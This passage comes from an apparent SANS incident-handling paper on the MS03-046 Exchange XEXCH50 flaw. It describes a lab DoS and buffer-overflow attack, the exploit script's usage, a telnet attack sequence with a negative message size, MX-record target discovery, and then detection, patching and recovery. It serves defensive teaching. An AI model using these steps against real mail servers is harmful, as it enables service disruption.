</tr>
</tbody>
</table>

More of same results and 10MB messages are denied

30:50 0 1912 0 692051968 942116864 19804160 | 68.001 5.0000 32.000 7.000104 68.001 5.000074 |
30:51 0 1912 0 692051968 942116864 19804160 | 0 0 0 0 0 0 0 0 |

Attack continues with 1MB messages
As the attack commenced, the server allocated four 100MB memory chunks until the system started to deny the message size verb calls. When the attack switched to the verb calls for 10MB messages, only seven requests succeeded. Finally in the last stage of the attack, the 1MB message verb calls only succeeded for one to two SMTP connections. At this point the performance log shows around 694MB of virtual memory allocated for the InetInfo process, when it started at about 209MB. The system was configured to allow up to 750MB of virtual memory, therefore the system was being forced into a very unstable state. Observations of the server resulted in slow performance in requesting MMC consoles, Task Manager, and even saving Event Log and screenshot copies of the monitored data into a local file.

c. Summary of Attack Signatures
It has been shown that there is very little an administrator can monitor for when one of the attacks commences. There is a Snort IDS rule to monitor for this attack, but it will not stop the attack unless the IDS system is configured to send a TCP reset to the attacker’s source node. This exploit has a very short time span between initiation and achieving the desired result. As in the case of the DoS against an Exchange 5.5 server, the time span was a mere 9 seconds. There are several signs on the servers themselves that an incident has occurred. Event Logs maybe monitored via a reporting system to alert an administrator to a problem, along with services and process resource thresholds.

In all cases, the email client response from within the simulated corporate network was negligible. The performance or network connectivity between a Microsoft Outlook client and the target Exchange 5.5 or 2000 server was not affected. This outcome is most likely due to the exploit focusing on the process handling the SMTP traffic, and not the component handling the MAPI RPC connections from an internal email client. The only affect that a client would see is the delay of email being sent or received from an organization. If the attack on a target server was extended for a significant period of time, an end user would notice the delay of emails that are expected to reach their intended recipients external to the organization. Also, if an organization is large enough to utilize several Exchange servers, the SMTP traffic would be affected between them causing interruptions in email transmission.

3. Source and Target Environments

A. Victim’s Platform
The victim for this exploit is Exchange 5.5 and Exchange 2000. The Exchange 5.5 application has been installed on Windows NT 4 Server with Service Pack 6a. The Exchange 2000 instance has been installed on Windows 2000 Server
with Service Pack 4. No additional patches or measures were taken to secure the servers or applications.

The Exchange 5.5 system was configured with the Internet Mail Connector. This is needed to bring SMTP support to the Exchange 5.5 system. The Exchange 2000 server uses SMTP natively. These systems have been setup to emulate a basic network configuration of a small to medium sized organization with one computer being used as an email server. A configuration like this could support a small number of users up to several thousand, which would put unlikely performance demands on the computer hardware.

**B. Source Network**

The source network needs only to consist of a host that is able to create a SMTP connection. This could include almost any mainstream operating system, such as: Microsoft Windows, IBM OS/2, Apple Mcintosh, or almost any UNIX or Linux variant. The commands for the actual exploit may be performed from a command line or from within a program or script. This exploit would only be available with a GUI if someone programmed it specifically to create malformed SMTP messages.

To automate the search or rapid exploit of the vulnerability, an attacker would want a program or script to efficiently and automatically contact vast numbers of potential targets. The attacker would need access to the Internet to reach remote hosts if desired, or a local network within the target's Local Area Network (LAN). The connection to an intermediate network, such as the Internet, or the target network does not need to have a large bandwidth. The SMTP protocol only exchanges small pieces of text, so an attacker is only sending a few bytes to execute the exploit.

**C. Target Network**

The target network consists of three Windows servers. The first server is a Windows 2000 Server that is a Domain Controller. A domain has been setup to emulate the most probable scenario that administrators would experience. Exchange 2000 Standard is setup on the Windows 2000 Server and will accept incoming SMTP connections. The second server is a Windows NT 4 Server that is part of the domain and is in a role as a Member Server. This simply means that the Windows Domain treats the Windows NT 4 Server as a client and does not rely on it for any Domain responsibilities. The Windows NT 4 Server has Exchange 5.5 Standard installed on it and is configured to receive email via SMTP.
The network utilizes the MandrakeSoft Multi Network Firewall (MNF). This software is used as the network router and firewall. The MNF routes traffic between the external and internal networks. The MNF also performs firewall duties to prevent any traffic passing between networks unless otherwise explicitly specified. The MNF will also be performing IDS duties via Snort. The MNF provides multiple network connectivity along with port filtering, port forwarding, intrusion detection, and traffic logging. Multiple other features are present in the MandrakeSoft MNF product, but are not used within the context of this testing environment. The MandrakeSoft MNF is based on the Mandrake Linux operating system with the Linux 2.4 kernel. No patches or updates were applied to the MNF instance; it was configured from the downloadable source available from MandrakeSoft18.

The source network is a single host connected to the outside of the firewall. For this exploit, there is no difference if the attacker is working from a far remote host that is across the Internet or if they are connected to the same network as the firewall. All networks are utilizing hubs, which allow the ability to monitor the network traffic as the exploit is performed. If a production network was utilizing switches, administrators would need to add a hub to allow monitoring abilities between target systems and the source of the exploit. If switches are being used that allow port mirroring, this can also be used to dump all network traffic to a monitoring system.
4. Stages of the Attack

A. Reconnaissance

The exploit does not include any reconnaissance capabilities natively. The exploit is built to perform actions upon targets that an attacker has previously defined. There are thousands if not millions of email servers connected to the Internet that could be potential targets for attackers. Ways of finding a target for an attacker could include curiosity, financial, political, or competitive advantage motivations. Once a target organization has been defined, simple ways of finding the target email system is to gather the organization’s domain name. This can
be accomplished via calling the target organization, or performing a search in a Whois or domain name registrar database.

There is no defense for reducing how an attacker performs reconnaissance upon an organization except to ‘play nice’ with others and try not make people angry. Once an attacker has picked a target organization, it is public information they need for this exploit in the form of an email server connected to the Internet. Additional information about a target could be found through several social engineering ways though. Reading help wanted adds for the company on their website or in a newspaper could inform an attacker of potential barriers such as firewall types, email proxies, relays, or other filtering software.

**B. Scanning**

The exploit does not include any scanning capabilities natively. Attackers can always scan potential target networks with a tool such as NMAP\(^{19}\), Nessus\(^{20}\), WinFingerprint\(^{21}\), or any other product that as been released to the public. These scanners will inform the attacker if a port is open, such as port 25 in the case for this exploit. Port 25 is the common TCP port that email is exchanged between separate systems. This approach to scanning for targets to perform this exploit is both noisy, it has a high chance of alerting the target, and it is inefficient. 

If scanning components were built, a smart solution would be to utilize the Domain Naming System (DNS) and its mail (MX) record types. The exploit does not need a DNS entry to work, an IP address will work very well as shown in previous sections. A simple program or script that tries to establish a SMTP connection with any IP address on the Internet would be very slow. This type of noisy connection attempts would be noticed very quickly by organizations monitoring their networks; hence, this is not a good solution for an attacker to attempt.

Email is routed on the internet via an IP address, but email uses a format of &lt;email user&gt;@&lt;domain name&gt;. To use the email format with a domain name, DNS MX records would be used as the target host for connection. Once the target domains are defined, a DNS lookup will reveal the host that is accepting SMTP connections for the particular domain. The hosts found would be the targets for malicious messages.

The following transcript of a NSLookup on a Windows XP computer shows how to manually find the email server of a target organization (sans.org is used in the example). In this example, the *italicized* text represent what an attacker would input, the *bolded* text is what the attacker is seeking.

```
C: \ >nslookup
Default Server: ns13.attbi.com
```
Address: 204.127.204.8

> set type=MX
> sans.org
Server: ns13.attbi.com
Address: 204.127.204.8

sans.org  MX preference = 10, mail exchanger = mail2.sans.org
sans.org  MX preference = 20, mail exchanger = mail1.sans.org
sans.org  nameserver = ns2.homepc.org
sans.org  nameserver = ns2.giac.net
sans.org  nameserver = ns1.homepc.org
sans.org  nameserver = ns1.giac.net
mail2.sans.org internet address = 63.100.47.43
mail1.sans.org internet address = 65.173.218.103
ns2.homepc.org internet address = 68.166.125.210
ns2.giac.net internet address = 63.100.47.43
ns1.homepc.org internet address = 207.36.86.169
ns1.giac.net internet address = 65.173.218.103

This example shows how easy it is to find the targets to use the exploit on. If a wrapper script was used to gather target email servers for the exploit, it could harvest the host names (e.g. mail1.sans.org) or the actual IP addresses of the target hosts (e.g. 65.173.218.103)

There is no real solution in preventing this type of scanning and information gathering by attackers. The domain name of an organization is public information and is needed by virtually all network clients that want to utilize the Internet for website viewing, file transfers, or email.

C. Exploiting the System

Exploiting the system is what this attack is all about. The originally published exploit focused on a memory stack crash. The author of this paper added to the code a DoS ability to create a process crash or resource starvation. In both cases, the exploit prevents further SMTP communications with the target server. This DoS or process crash is most likely to occur from a remote location and does not need physical access to a secure location. This attack is located in the virtual boundaries created by firewalls and access control lists to block traffic from reaching sensitive locations in networks.

The attacker can run this exploit on any platform that connects to an IP network. This allows an attacker to be anywhere at anytime when they launch against the target. The vulnerability is very simple; it involves a minimum of four commands to be typed and sent to the target. Embedding those commands into a program
or script is just a convenience factor for the attacker. This attack does not need extensive knowledge or time to craft before an attack can commence.

The command to initiate a manual session for the attack is performed at a command line in Windows, UNIX, or Linux. An example of this command is presented for what would be typed into a Windows command line:

C:\>telnet 192.168.20.2 25

The attacker telnets to the target email server at 192.168.20.2 and informs the telnet program to use the destination port of 25. Following is a screenshot of a telnet session to the SMTP port (25) on a target Exchange 2000 server to execute the attack.

As the screenshot shows, the minimum of four simple commands by the attacker are needed to send an email and “knock off” a target server. The example shows the attacker making a connection to the win2kex2k.playground.test server, sending an email from DoS, which the server interprets as an internal originator, and specifying the bad administrator who didn’t patch their Exchange server. The last two lines show the attacker specifying a negative message size and the server giving the go ahead to send a message that it didn’t allocate memory to buffer it. At this point the attack may simply hold down what every key they desire to overflow the memory stack on the target server. The repetitious nature of the data entry is why the exploit code was most likely created in the first place. The exploit code automates the sending of garbage for the message data the target server is expecting.

As for the original exploit, the command line format is available:

```bash
ms03-046.pl <target server IP> <switch>
```
The switches available are ‘CHECK’, which simply checks if the server will accept the XEXCH50 verb call from the source network node. The main switch is ‘CRASH’, which performs the same sequence of events seen in the previous screenshot and sends the word “META” over 16,000 times for the message binary data.

In the version that this author modified, the switch for DOS was added. This command changes the “XEXCH50 -1 2” command in the original script to “EXECH50 100000000 2”. This change specifies that an email roughly 100MB in size will be sent to the target server. Additional lines of code send this same command several times with ever decreasing message sizes to force the target server to allocate as much virtual memory as possible. With this author’s version of the script, the attack may perform a DoS attack against an Exchange 5.5 or Exchange 2000 server. The attack will still perform the originally released buffer overflow attack against an Exchange 2000 server.

**D. Keeping Access**

The exploit at hand does not focus on keeping access to a target system. The nature of this exploit shuts down services and access, not open up extraneous ways to enter or communicate with the target system. If an attacker desires to keep access to a system, this exploit could be refined to exploit the buffer overflow scenario. This particular buffer overflow could allow enough room for the backdoor program known as Tini to be inserted into the memory stack. Tini is a very small and only opens a listening port on TCP 7777. The attacker would then need to connect to this port on the target system.

The original script author, HD Moore, did not find a consistent place in memory where the buffer overflow occurred. This is a critical step in creating a successful buffer overflow. The return pointer in the program needs to be set to the point in the stack where attacker code will be placed. A buffer overflow means data entered by a user or system, has overflowed the amount of memory allocated for that particular input. In short, the attacker must push their code into the buffer and the memory location where the process will jump to in order to execute the attacker’s code. If the memory location is in a random place in memory and can not be traced to a consistent location, the buffer overflow is still possible, but its success rate drops dramatically.

Another possible action by the attacker is to send email to key Exchange systems that utilize an email box to function, such as SMTP, System Attendant, and SystemMailbox. This would need to be heavily researched to find email messages that the system mailboxes would process and result in opening access for an attacker. Another target could be any email to an end user in the target organization since the attacker may send binary data directly to any
internal email address. The last option leaves a wide range of possibilities for an attacker to gain further inroads into a target organization.

E. Covering Tracks
This phase of an attack is always an interesting variable in a DoS attack. Several attack scenarios utilize a DoS as a way to cover the attacker’s tracks by forcing systems to crash, filling up log files, or distracting administrators from the intended target. For this exploit, it is not the cover up, it is the attack itself.

SMTP communications are in clear text. If the target network is monitoring its network traffic along the logical SMTP flow, the offending email command will be found. The only defense to intrusion detection is to find a way around it. An attacker must find a way past firewalls, IDS, IPS, relays, proxies systems plus routers, VLANS, and other network defenses. How could someone get around a company’s network defense that cost anywhere from fifty bucks to 5 million?

How about a modem and a little bit of war dialing? This delves into a slew of other exploits though.

5. The Incident Handling Process
The incident handling process is a standardized process taught by the SANS Institute to educate the Internet community at large. The process was created by the cooperation between SANS, companies, and governmental bodies to provide assistance with security incidents. This section details how the incident handling process applies to the exploit for this paper.

A. Preparation
Good administrators and the organizations they belong to must prepare for several events. A security incident is a very important event to prepare for. An organization strives to avoid incidents in the first place by the reducing risk exposure of the organization to several vulnerabilities. To start the incident handling process out right, security policy must be addressed. Any organization who has the best administrator in the world will fail if the security policy does not allow the administrator to do their role and help define boundaries for that role. A security policy should include the items that the company values, including intellectual property, monetary values, information, or people. The company should then dedicate resources to these items to reduce the risk to the company.

The following is an example of a policy section that addresses incident handling:
The Security Officer will be responsible for the creation of and ongoing management of the organization's incident handling (IH) procedures. These procedures shall be directed with a concise policy statement written by the Security Officer. The IH policy shall describe the overall risks to the organization and how those risks will be addressed. The personnel responsible for security controls and the controls themselves shall be documented for the organization’s valued items that, if exploited, present a risk to the organization. The supporting documents to the security policy shall include written documentation available to the IH teams that include at a minimum:

- Uncomplicated methods for employees to prepare, identify, and communicate that a security incident is occurring
- A communications plan for employees and IH teams
- A risk assessment for each valued item that the security policy supports
- The response plan for each IH team in relation to the valued item being protected

This exploit is very technical in nature, so planning for this exploit and the vulnerability it takes advantage of have several mitigation factors. As a must, all systems connected to the Internet should have a firewall device. This can not be stressed enough. Home networks that a company allows employees to VPN in from, they are a prime target for attackers. These networks are an easy entrance into any organization.

The sample network for this paper was built to emulate a common implementation at organizations. Taking this common setup, email must still flow into and out of the organization. At the perimeter of the network, the router should be configured with Access Control Lists (ACLs). These ACLs will reduce the exposure to the Internet, but for email and ACLs, the traffic flows or it doesn’t. The next hop on the logical data path is the firewall. Firewalls provide several different functions, but only basic firewall features will be considered. The firewall may block additional IP, TCP, and UDP ports when being accessed from the Internet. The ability to perform Network Address Translation (NAT) on the firewall does not reduce the amount of exposure from the Internet. These firewall protections amount to little more than what the perimeter router can perform.

The next layer in the sample network is the Exchange server. Here is where the action happens. This is the network node that answers to the SMTP session initiation and where the vulnerability is located for this exploit. The best preparation at this layer is to keep production systems up to date with critical security patches. On production systems, it is recommended for all organizations to backup the system before making any changes, such as security patches. Just as with anything in on the planet Earth, it is much easier to destroy a thing than to build a thing.
A good plan goes farther than the technology surrounding the risk exposure. The plan must include the people that can prevent and tackle security incidents. For this exploit, the roles that need to be involved and available for preparation are network, security, system, and email administrators. Each hop and layer in the SMTP flow across the organization’s network must be involved. If the traffic starts, crosses, or ends at a system that someone is responsible for, they must be involved by default. These people should form the incident handling team along with the data owners and the management team. Whether the IH team is virtually or physically contactable, it is important to remember these critical people must be available when a security incident arises.

Another item that would assist an organization to prepare for this exploit would be verifiable system backups for the Windows operating system, Exchange system, and the Exchange data. If this exploit causes significant damage by corrupting the target system over a large period of time, the system backups will assist in the recovery process covered later.

The last two points for preparation cover communications and documentation. This author can not stress enough the invaluable resource of the Internet; with all of the technical knowledge spread amount countless sites. The Internet is a gold mine of information. Communications among the incident handling team will make or break good security, not to mention a career or two. Documentation of the communications plan will speed everyone along with the tasks they know to do and allow unfettered flow of information between team members. Documentation of the system configurations and security policies are extremely valuable in a stressful situation.

An incident is stressful, be prepared for this and continual improve on it.

**B. Identification**

Upon everyday administration of an email system, one must decide if a system has become unstable due to a security incident or is it the usual weird behavior of software from a vendor. Anomalous network traffic, slow performance, changed files are folder structures, unavailable network resources all can be signs of a security incident underway. The exploit for this paper has shown in previous sections on what to watch for. By far, the most important indicator to malicious SMTP traffic is to monitor the traffic in the logical data flow. The Snort rule watches for the XEXCH50 extended verb with the first parameter being ‘-1’. Snort or another IDS system should alert an administrator, preferably more than one, to a possible incident.

The monitoring of system performance values could also be a key indicator. During the DoS attack on an Exchange 5.5 server, the MSEXCIMC service
stops. If a Windows NT 4 server is configured for the service to restart automatically, then the monitoring should alert to the fact that it has restarted. If the attack is repeated against the target several times the service alert will inform an administrator to the continued attack. The timeline of the DoS attack against an Exchange 5.5 server was 9 seconds in this author’s testing. If a sustained attack has been launched, there will be little time between restarts and following failures. This type of service monitoring will work well to monitor for problems with the InetInfo process on an Exchange 2000 server when a buffer overflow attack has occurred. For the DoS attack against Exchange 2000, the monitoring should turn towards the virtual memory and page file status on a Windows server. Monitoring software tends to be very expensive to purchase and setup. If small companies chose to implement some type of monitoring, the built in Windows Performance Counters allow an organization to create baselines that can be updated on a monthly, quarterly, or yearly basis to compare against possible incident occurrences.

For an organization caught off guard with this exploit, their Exchange server SMTP processes would appear to crash or run out of virtual memory at random times. If there was a sustained attack, the components would continually need to be fixed by an administrator. The next place to track down what is occurring is to monitor the traffic entering and leaving the Exchange server. Once the administrator finds the anomalous traffic, they should be able to find the information at Microsoft’s website or on the Internet to create a solution to the problem. Screenshots, logs, and error messages were presented during the exploit analysis to assist administrators in identifying this particular exploit, and if their organization has been compromised.

Chain of Custody procedures do not play a large part in this exploit, unless other collateral damage was found. A Chain of Custody ensures that evidence of an incident is transferred between separate responsible parties. Evidence in this exploit would include event logs on the host or sent to logging systems, firewall and IDS logs, and possibly the hard drive of the server. A Chain of Custody is most likely going to be initiated in a large company with separate responsibilities for security and administration, or if there is legal damage due to the exploit’s collateral damage. If a Chain of Custody is necessary, the essence of the process to remember is that each person is responsible for the evidence while it is in their possession. Once the possession changes, each party involved with the transfer of possession must ensure that proper tracking of all items and responsibility continues along the possession transfer.

Remember, team relations and customer expectations are always present, even during an incident underway. The best way to manage those expectations is to inform those dependent on a system that an incident has been identified. The parties dependent on the members of the IH team and affected systems will then realize the IH team has temporarily halted work on other items and should remain undisturbed.
C. Containment

The first reaction could be to unplug the server if an administrator is unsure of what to do. At minimum the MSEXCIMC service for Exchange 5.5 and the IIS Admin (plus the dependent services) should be stopped. These actions will prevent continued crashes of programs and possible damage to data. There are obvious signs that a problem exists simply by watching the event logs, viewing memory allocations, services crashing or network traffic monitoring. These records were shown in the exploit section of this paper and contain the same information that would be used to identify this incident.

After it is known that SMTP traffic is coming in from a particular host, a firewall or router could be configured to block incoming traffic from that host. This would contain the problem during a single attack. The same attack could still occur from a different external host.

As an Incident Handler for any organization, one must have the bag of tools and tricks to assist in the IH process. These tools, documents, hardware, and other equipment are known as a Jump Kit. To handle this exploit, a Jump Kit should include documentation on the Exchange server process trends. If there is a memory leak for the process, a trend analysis would help an IH to recognize what processes are out of line with what the organization expects. The next item would be a laptop with a network sniffer installed, configured and ready to dump network traffic and analyze it at all layers. Access and the knowledge of where network account logons are will assist administrators in getting access to critical systems such as firewalls, IDSs, mail relays, servers, and application service accounts. Characteristically, a good backup of the system and data is desired. An excellent practice is to perform dual backups of data. This practice not only includes the server’s data in a full server backup with the system, but also performs a backup of only data. It is best to perform each backup type with a different backup software package if possible to reduce the likelihood of backup failures with both. In a worst case scenario, the data may be moved to a temporary server while the recovery of the primary server is underway. To round out the Jump Kit, verify on a monthly basis that an updated phone tree list is present, along with a flashlight, screwdriver set, keyboard, mouse, internal and external system cables, and access to food and drinks for those late nights.

The backup of a system is critical before and after an incident occurs. The prior backup type was previously covered as part of a Jump Kit. The backup of a system while an incident is in process is a delicate matter. Fortunately for this exploit, the system memory or other volatile components are not holding data that is critical to the IH process. The backup of an affected system is important if an attack is sustained. This exploit does not change the target system in anyway except for the current operation state of the target’s network services (at this time
there is no resident signature or damage left on the target machine, this could change if a buffer overflow is perfected and it is used to execute malicious code). Since no residual signature or damage is left on the target, a system backup during the IH process will prevent further damage to the data that Exchange handles. This is only needed in a sustained attack that can not be prevented in reaching the Exchange server. This is because the continual restarting and crashing of the Exchange services could corrupt Exchange’s Information Store. A backup of this data can be made by Windows NT 4 if the Exchange services are shutdown. This version of NTbackup only allows backup to tapes. The Windows 2000 version and higher allow a backup to file, where this file resides could be local or across a network connection. The Windows 2000 version of NTbackup also allows the inclusion of Exchange 2000 calls to allow an online backup of the Exchange database without stopping any Exchange services. The NTbackup program maybe started and the appropriate folders where the Exchange database resides can be selected. The administrator only needs to pick a destination for the backups and they will be performed.

After an IH has completed the Containment phase of the IH process, they are ready to move to the important phase of making sure the incident does not occur again. An IH should make sure that the exploit has been limited in its effectiveness by disconnecting the server or shutting down the services, blocking the traffic temporarily by a firewall, and backing up the system and data.

D. Eradication

Once the exploit has been contained, the IH can focus on the exploit’s eradication. The next immediate action for this particular exploit is to search for any new patches from Microsoft for the Windows operating system or Exchange software.

The security patch [Security Update for Exchange 5.5 (KB829436)]\textsuperscript{22} for Exchange 5.5 does require Service Pack 4 for Exchange. At the website download page for the patch, simply select download and save the executable file to a storage location or the affected server.
Screenshots of the patch install for Exchange 5.5:

**Welcome!**

This installation program will install Hotfix for Exchange 5.5 (KB829436).

Press the Next button to start the installation. You can press the Cancel button now if you do not want to install Hotfix for Exchange 5.5 (KB829436) at this time.

**Installing**

Copying file: C:\EXCHSRVR\829436\UNINSTALL\uninst.exe

51%
The patch install does not prompt for a service restart or a reboot, but it performs a service stop and restart on the services it modifies. After finishing with the patch, the system has been patched and the vulnerability is mitigated.

A search for a Windows operating system patch would be a likely conclusion if the InetInfo process is having problems on the Exchange 2000 server. For this exploit though, the eradication’s solution is the specifically released patch for the Exchange system [Update for Exchange 2000 (KB829436)]²³. At the website download page for the patch, simply select download and save the executable file to a storage location or the affected server. When the patch is installed, a reboot is not necessary if all the required services were stopped successfully. If one or more services were not able to be stopped, the patch will prompt for a reboot of the server.
Screenshots of the patch install for Exchange 2000:

As always, everyone must agree to a second EULA for software that they have already agreed to the license for while installing the first time.
The patch does prompt for the services that will be restarted, so an administrator will want to perform patching during a maintenance time for the server. The services include:

- World Wide Web Publishing Service
- Microsoft Exchange Routing Engine
- Microsoft Exchange POP3
- Microsoft Search
- Microsoft Exchange Site Replication Service
- Microsoft Exchange MTA Stacks
- Microsoft Exchange Information Store
- Microsoft Active Directory Connector (*if it is installed*)
- License Logging Service
- Intersite Messaging
- Microsoft Exchange IMAP4
- Microsoft Exchange System Attendant
- Simple Mail Transport Protocol (SMTP)
- Network News Transport Protocol (NNTP)
- IIS Admin Service
- Microsoft Exchange Management
- Windows Management Instrumentation

This exploit luckily does not leave residue on the target system to clean up after an attack. Once the system is patched, the IH may proceed to the recovery of the target system if collateral damage was caused by the attack.

**E. Recovery**

After the patch is installed on Exchange 5.5 or 2000, the exploit itself may be used to check for the vulnerability being present. A manual test via Telnet may be used instead (screenshots are only of a sample Exchange 5.5 server, but the Exchange 2000 server yielded the exact same results):
**Exploit Test:**

![Telnet Test]

C:\>net2-046.pl 192.168.20.3 CHECK
[*] This server has been patched or is not vulnerable.
C:\>

**Manual Telnet Test:**
The manual test is initiated with telnet and the Windows command prompt statement of ‘telnet <target server IP or name> 25’. This command will telnet to port 25 on the target server.

**Manual Test for Buffer Overflow:**

![Buffer Overflow]

```
220 winnt4ex55.playground.test ESMTP Server (Microsoft Exchange Internet Mail Service 5.5.2657.72) ready
help
250 OK
mail from: crash
250 OK - mail from <crash>
to: crash
250 OK - Recipient <ADMIN>
rcpt to: -1 2
503 Authentication required
```
Manual Test for DoS:

As the screenshots show, the newly patched system is no longer exploitable. Microsoft states that the patch forces the authentication of the sender before the XEXCH50 extended verb may be used.

The affected systems may be brought back to a known good state by restarting the affected services. Under the DoS attack upon Exchange 5.5, restarting the Exchange IMC service restores the server to an operation state.

Under the attacks against Exchange 2000, the InetInfo program is responsible for handling the SMTP traffic. Restarting the IIS Admin services causes several other services to be restarted.
The dependent services are listed in the screenshot and also include the Microsoft Exchange Information Store, which is listed lower in the scroll box.

As always in the Windows operating system, a full reboot of the server is a better practice for returning the server to the 'best' known good state. Microsoft always suggests a full reboot if a service crashes due to it possibly leaving the system in an unstable state.

A full restore or a restore of an Exchange data store is not needed for this exploit to recover to a known good state on the server. If collateral damage is found via an Exchange database consistency check or a system user finds corruption, then a full restore of the system is required. These checks are not needed for a brief onetime attack against a target server, but if the attacks are sustained they are suggested.

To perform an Exchange 5.5 Database Consistency Check, one must stop the Microsoft Exchange Information Store service, which also requires the dependent services of Microsoft Exchange Event Service and Microsoft Exchange Internet Mail Service. The following example was initiated by typing: ‘exeutil /g /ispriv /x /v’
Exchange 5.5 Database Consistency Check for Private Information Store:
Microsoft(R) Windows NT(TM) Server Database Utilities
Version 5.5
Copyright (C) Microsoft Corporation 1991-1999. All Rights Reserved.

Initiating INTEGRITY mode...
  Database: C:\exchsrvr\MDBDATA\PRIV.EDB
  Temp. Database: INTEG.EDB
  got 14371 buffers
  checking database header
  checking database integrity
    Scanning Status ( % complete )
    0  10  20  30  40  50  60  70  80  90  100
    |-----------------------------|-----------------------------|
                            ...........

Integrity check completed.
Operation completed successfully in 3.797 seconds.

To perform an Exchange 2000 database consistency check, one must unmount the mailbox store from within the Exchange System Manager. The following example was initiated by typing: "exeutil /g "C:\Program Files\Exchsrvr\MDBDATA\Priv1.edb" (the database location is the default location, organizations may place their database in a different location).

Exchange 2000 Database Integrity Check for the Mailbox Store:
Microsoft(R) Exchange Server(TM) Database Utilities
Version 6.0
Copyright (C) Microsoft Corporation 1991-2000. All Rights Reserved.

Initiating INTEGRITY mode...
  Database: c:\program files\exchsrvr\mdbdata\priv1.edb
  Streaming File: c:\program files\exchsrvr\mdbdata\priv1.STM
  Temp. Database: TEMPINTEG1240.EDB

Checking database integrity.
  Scanning Status (% complete)
  0  10  20  30  40  50  60  70  80  90  100
  |-----------------------------|-----------------------------|
                            ...........

Integrity check successful.
Operation completed successfully in 3.156 seconds.

Other components to the email flow at an organization includes the firewall and any email relays between the organization’s network perimeter and the email server. As seen in the exploit code, an attacker can use the HELO command when initiating the SMTP session. This is a curious point since Fluffy the SMTPGuardDog website lists the XEXCH50 command as an extended verb to the ESMTP protocol. To initiate a connection with any email server, the first command is either a HELO or EHLO command. The later initiates an ESMTP session, but an unpatched Exchange system allows the XEXCH50 extended verb to be used even though an ESMTP session was not initiated. This finding concludes that the changing of Exchange to use only the HELO versus the EHLO command does not provide any further protections. The second action that is a result is a firewall with a proxy could be used to filter the email flow. The proxy should be configured to not allow any irregular SMTP commands. These irregular commands are not only the XEXCH50 verb, but all commands not in the
standard SMTP RFC; the proxy should only allow commands that match the standard RFC for SMTP.

Another solution to prevent future attacks for this exploit include using a host based firewall and IDS software package. This type of software will analyze all traffic being directed towards the server, but as with any other firewall or IDS, it must be kept up to date for any value to be recouped by the organization.

A modification to the IDS network component is to use an IPS, an Intrusion Protection System. These systems are just beginning to mature past their infancy stage, but they could provide real value to an organization if the installation is planned correctly. An IPS should sit behind a firewall and in line with the network traffic to reach an internal destination. Having the traffic flow through the IPS allows the IPS to enforce firewall type rules along with protocol error detection rules against traffic on the network. An IPS can act like a dynamic firewall that adds rules at anytime when an attack is sensed. An IPS like any other security system must be configured properly to work correctly. In the case of this exploit, an IPS could sense that non-standard SMTP commands are being sent from outside the organization to an internal network destination.

As a general best practice, an email relay should be installed in all organizations that value their email and internal network infrastructure. An email relay is a system that accepts email from the Internet and routes it to an internal email server. Other features can be added to the basic email relay principle, but essentially a system is put between the firewall and the internal email server to allow the relay system to take the brunt of attacks against the organization.

The security scenario of an email relay is that an attacker will compromise the relay system and it will be under the control of the attacker. If this relay system is located in a network DMZ, the attacker then has one more firewall layer to penetrate; a compromised system in a half-trusted network does not fully expose critical data of the organization to an attacker. For this exploit, an email relay should not reside on a Microsoft operating system. Another manufacturer is preferable to handle the email flow, so an attack based on one manufacturer’s software does not allow an attacker to easily traverse the perimeter of the organization’s network. An email relay by a separate software company will not accept the Microsoft specific SMTP command of XEXCH50.

**F. Lessons Learned**

The sample incident happened because an attacker chose to scan for email servers and found the example organization to attack. The root cause of the problem is that Microsoft released software code that contained a programming error. To mitigate this risk, and other risks like it by vendors, the solution is to create multiple layers of security.
In this case, an updated IDS system that is watching for the XEXCH50 verb with a ‘-1’ as a parameter is not enough. This is only an alert, and only for one of the two attack types. An email relay that receives email from the Internet, then turns around and resends it with its own SMTP commands would be a way to avoid this entire problem. If an email relay in a DMZ is not favorable to an organization, a firewall that uses an SMTP proxy to pass email traffic from one side of the firewall to the other side should be utilized. These firewall solutions tend to be more expensive, but it simplifies the network topology by combining features into one system.

System administrators must be diligent on maintaining their systems to an up to date state for security patches. If this means there is a maintenance time that must be set for twice per week to apply small security patches, then management must set these expectations to the organization as a whole to limit their risk.
References

1 Moore, HD. “ms03-046.pl.” October 15, 2003. URL: <http://www.metasploit.com/tools/ms03-046.pl>
8 CERT Coordination Center. “Meet the CERT® Coordination Center.” November 13, 2003. URL: <http://www.cert.org/meet_cert/meetcertcc.html>
13 McDougall, Wayne. “ESTMP Keywords and Verbs (commands) Defined - Fluffy the SMTPGuardDog - spam and virus filter for any SMTP server.” URL: <http://smtpfilter.sourceforge.net/esmtp.html>
17 Sourcefire Research Team; Caswell, Brian; Houghton, Nigel. “SMTP XEXCH50 overflow attempt.” URL: <http://snort.org/snort-db/sid.html?sid=2253>
## Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Date Range</th>
<th>Platform</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS Rocky Mountain Summer 2020</td>
<td>, CO</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst New Career Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS-Cybersecure Catalyst Women Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>CS Cybersecure Catalyst New Canadian Academy SEC504</td>
<td>Brampton, ON</td>
<td>Jul 20, 2020 - Jul 25, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Attack the Summer 2020</td>
<td>, United Arab Emirates</td>
<td>Jul 20, 2020 - Jul 31, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Summer of Cyber</td>
<td>Jul 27</td>
<td>, NC</td>
<td>Jul 27, 2020 - Aug 01, 2020</td>
</tr>
<tr>
<td>SEC560 @ JPL NASA</td>
<td>,</td>
<td>Aug 03, 2020 - Aug 10, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
<td>Aug 3 ET</td>
<td>, MA</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
</tr>
<tr>
<td>South by Southeast Asia Online 2020</td>
<td>, Singapore</td>
<td>Aug 03, 2020 - Aug 14, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Europe Pen Test Special 2020</td>
<td>, United Arab Emirates</td>
<td>Aug 03, 2020 - Aug 08, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>Instructor-Led Training</td>
